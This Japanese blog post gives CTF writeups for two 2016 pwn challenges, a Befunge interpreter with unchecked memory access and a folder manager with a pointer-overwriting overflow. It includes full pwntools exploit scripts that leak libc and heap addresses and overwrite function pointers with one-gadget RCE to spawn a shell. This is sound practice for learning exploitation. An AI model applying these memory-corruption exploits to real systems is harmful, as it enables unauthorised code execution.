h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その10

前回

[TWMMA CTF 2016] Pwn Interpreter

ELF 64bit、RELRO, SSP, NX, PIE有効。

$ file befunge
befunge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=e48a79ecf9efbae445180bf178f0861ed3d528db, stripped
$ checksec befunge
[*] '/home/hnoson/ctf/twctf/2016/interpreter/befunge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ ./befunge
Welcome to Online Befunge(93) Interpreter
Please input your program.
> "string"v
>       v<<
>       >@
...

Befungeという言語があるらしい。 Befunge - Wikipedia を見てみるとpgがいかにも怪しいのでコードを見てみる。

命令とそれを実行する関数のアドレスの一覧は以下のスクリプトgdbに流せば得られる。

set $base = 0x555555554000
b *($base + 0xdf8)
c
set $ptr = $rbp
set $c = 0x20
while (*(int *)($ptr) != 0)
    set $addr = $rbp + *(int *)($ptr) - $base
    if $addr != 0x1119
        p/c $c
        p/x $addr
    end
    set $ptr = $ptr + 4
    set $c = $c + 1
end
Breakpoint 1, 0x0000555555554df8 in ?? () 
$1 = 32 ' '
$2 = 0x112e
$3 = 33 '!'
$4 = 0x1037
$5 = 34 '"'
$6 = 0xeb3
$7 = 35 '#'
$8 = 0xe82
$9 = 36 '$'
$10 = 0x10a7
$11 = 37 '%'
$12 = 0xfe2
$13 = 38 '&'
$14 = 0xec2
$15 = 42 '*'
$16 = 0xf91
$17 = 43 '+'
$18 = 0xf45
$19 = 44 ','
$20 = 0xf25
$21 = 45 '-'
$22 = 0xf6a
$23 = 46 '.'
$24 = 0xf01
$25 = 47 '/'
$26 = 0xfb9
$27 = 58 ':'
$28 = 0x1056
$29 = 60 '<'
$30 = 0xe05
$31 = 62 '>'
$32 = 0xe14
$33 = 64 '@'
$34 = 0xe91
$35 = 92 '\\'
$36 = 0x1078
$37 = 94 '^'
$38 = 0xe32
$39 = 95 '_'
$40 = 0xe41
$41 = 96 '`'
$42 = 0x100b
$43 = 103 'g'
$44 = 0x10b3
$45 = 112 'p'
$46 = 0x10e3
$47 = 118 'v'
$48 = 0xe23
$49 = 124 '|'
$50 = 0xe61
$51 = 126 '~'
$52 = 0xee5

f:id:h_noson:20180928011103p:plain

まずgはpopした値をチェックせずにプログラムの先頭のアドレス(0x201fe0)に足して値を取ってきているためプログラム外のアドレスにもアクセスできる。これでlibcと.textのアドレスをリークできる。

f:id:h_noson:20180928012333p:plain

pも同様に値のチェックを行っていないため任意のアドレスに書き込みができる。

この問題ではlibcを与えられていないがGOTにある複数の関数のアドレスがリークできるのでlibcは特定できるとする(ので手元のlibcを使う)。

_dl_finiで呼び出される関数が読み書き可能な領域に格納されていたため、そこのアドレスをone-gadget RCEのアドレスに書き換えてシェルを呼び出した。

#!/usr/bin/env python
from pwn import *
import math

def leak(addr):
    for i in range(8):
        diff = addr - program_addr
        s.sendline(str(diff % 0x50))
        s.sendline(str(diff // 0x50))
        addr += 1

# libcと.bssの差分がintに入りきらないため平方根を取って後から掛ける
def divide(val):
    x = int(math.sqrt(val))
    s.sendline(str(x))
    s.sendline(str(x))
    s.sendline(str(val - x * x))

def overwrite(diff, val):
    for v in p64(val):
        s.sendline(str(ord(v)))
        s.sendline(str(diff % 0x50))
        divide(diff // 0x50)
        diff += 1

if __name__ == '__main__':
    s = process('./befunge')
    elf = ELF('./befunge')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    sp_addr = 0x202024
    program_addr = 0x202040
    stack_addr = 0x202820

    program = [
        '&&g,' * 0x10 + 'v',
        'v' + '<' * 0x4f,
        '>' + '&&&&*&+p' * 8 + '@'
    ]
    program += [''] * (0x7d0 // 0x50 - len(program))
    for line in program:
        s.sendlineafter('> ', line)

    leak(elf.got['puts'])
    libc_base = u64(s.recv(8)) - libc.symbols['puts']
    log.info('libc base: %#x' % libc_base)

    leak(0x202008)
    text_base = u64(s.recv(8)) - 0x202008
    log.info('text base: %#x' % text_base)

    # https://github.com/david942j/one_gadget
    one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    overwrite(libc_base + 0x5f0f48 - (text_base + program_addr), libc_base + one_gadgets[3])
    s.recvuntil('Program exited\n')
    s.interactive()

[HITCON CTF 2016] Pwn 200 ShellingFolder

ELF 64bit、RELRO, SSP, NX, PIE有効。

% file shellingfolder
shellingfolder: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped
% checksec shellingfolder
[*] '/home/vagrant/ctf/hitconctf/2016/shellingfolder/shellingfolder'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
ubuntu-xenial% ./shellingfolder
**************************************
            ShellingFolder
**************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
**************************************
Your choice:
  1. フォルダ内のファイルを表示する
  2. 名前を指定してフォルダを移動する
  3. 名前を指定してフォルダを作る
  4. 名前とサイズを指定してファイルを作る
  5. 名前を指定してフォルダかファイルを消す
  6. フォルダ内のファイルのサイズを足して表示しフォルダのサイズに加算する

このプログラムは実際にファイルシステムを弄っているわけではなく以下の構造体に情報を管理している

struct folder {
    folder *files[10]; // 0x0
    folder *parent; // 0x50
    char name[0x20]; // 0x58
    int size; // 0x78
    int is_folder; // 0x80
};

folder *root; // 0x202018
folder *current; // 0x202020

脆弱性6.Caculate the size of folderにある。

f:id:h_noson:20181006135642p:plain

size_ptrrbp-0x18namerbp-0x30にあるが、current folderのsizeへのポインタをsize_ptrに格納した後nameに最大0x20bytes書き込むためオーバーフローしてsize_ptrを上書きすることができ、任意のアドレスの値に加算ができる。また、画像にあるstrcpyはnull終端しない実装になっている。

heap addressのリーク

上のスクリーンショットにあるようにnameを出力しているため、nameを0x18bytes埋めることでsize_ptrつまりheapのアドレスをリークできる。

libc addressのリーク

まず適当なchunkをfreeしてから上記の脆弱性を使ってcurrent->files[0]を書き換え、current->file[0]->nameがfreeされたchunkのfdを指すように調整すれば1.List the current folderでlibcのアドレスをリークできる。

/bin/shの実行

後は__free_hookをone-gadget RCEに書き換えて/bin/shを実行する。

#!/usr/bin/env python
from pwn import *

def show():
    s.sendlineafter('choice:', '1')

def change(name):
    s.sendlineafter('choice:', '2')
    s.sendlineafter('Folder :', name)

def make(name):
    s.sendlineafter('choice:', '3')
    s.sendafter('Folder:', name)

def create(name, size):
    s.sendlineafter('choice:', '4')
    s.sendafter('File:', name)
    s.sendafter('File:', str(size))

def remove(name):
    s.sendlineafter('choice:', '5')
    s.sendlineafter('file :', name)

def calc():
    s.sendlineafter('choice:', '6')

s = process('./shellingfolder', env = {'LD_PRELOAD': './libc.so.6'})

elf = ELF('./shellingfolder')
libc = ELF('./libc.so.6')

create('A' * 0x18, 0)
calc()
s.recvuntil('A' * 0x18)
heap_base = u64(s.recvuntil(' : ')[:-3].ljust(8, '\0')) - 0x88
log.info('heap base: %#x' % heap_base)

create('A' * 0x18 + p64(heap_base + 0x18)[:-1], -0xe8)
remove('A' * 0x18)
calc()
show()
s.recvline()
libc_base = u64(s.recvline(False).ljust(8, '\0')) - 0x3c3b78
log.info('libc base: %#x' % libc_base)

one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
one_gadget = libc_base + one_gadgets[1]
make('A')
change('A')
create('A' * 0x18 + p64(libc_base + libc.symbols['__free_hook'])[:-1], u32(p64(one_gadget)[:4]))
create('A' * 0x18 + p64(libc_base + libc.symbols['__free_hook'] + 4)[:-1], u32(p64(one_gadget)[4:]))
calc()

create('A', 0)
remove('A')
s.interactive()

pwn challenges list easy終了!

f:id:h_noson:20181006142813p:plain

最後に

約1年かかってしまったが最後の方は解析とデバッグが早くなってペースが上がっていた気はする
easyの問題のレベルはeasyの割には高い気がして(最近のCTFではこれより簡単な問題はほとんど出ないが)すぐに解法が思いつく問題が少なくて割と面白かった
writeupはもう書かないと思うけど引き続き頑張るぞ